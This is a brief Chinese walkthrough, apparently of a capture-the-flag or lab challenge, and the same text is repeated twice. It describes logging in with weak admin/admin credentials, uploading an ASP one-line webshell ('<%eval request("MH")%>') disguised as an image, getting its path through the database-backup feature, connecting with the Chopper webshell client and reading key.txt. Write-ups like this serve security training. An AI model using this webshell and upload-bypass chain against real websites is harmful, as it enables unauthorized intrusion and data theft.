进到后台,弱口令账号admin,密码admin
登录成功后,找注入点,发现添加文章可以文件上传
直接上传asp文件,会被拒绝
asp一句话木马
<%eval request("MH")%>
后来改为asp木马图片
上传成功
备份数据库
备份成功,有地址
接下来菜刀无惧链接
找到key.txt
进到后台,弱口令账号admin,密码admin
登录成功后,找注入点,发现添加文章可以文件上传
直接上传asp文件,会被拒绝
asp一句话木马
<%eval request("MH")%>
后来改为asp木马图片
上传成功
备份数据库
备份成功,有地址
接下来菜刀无惧链接
找到key.txt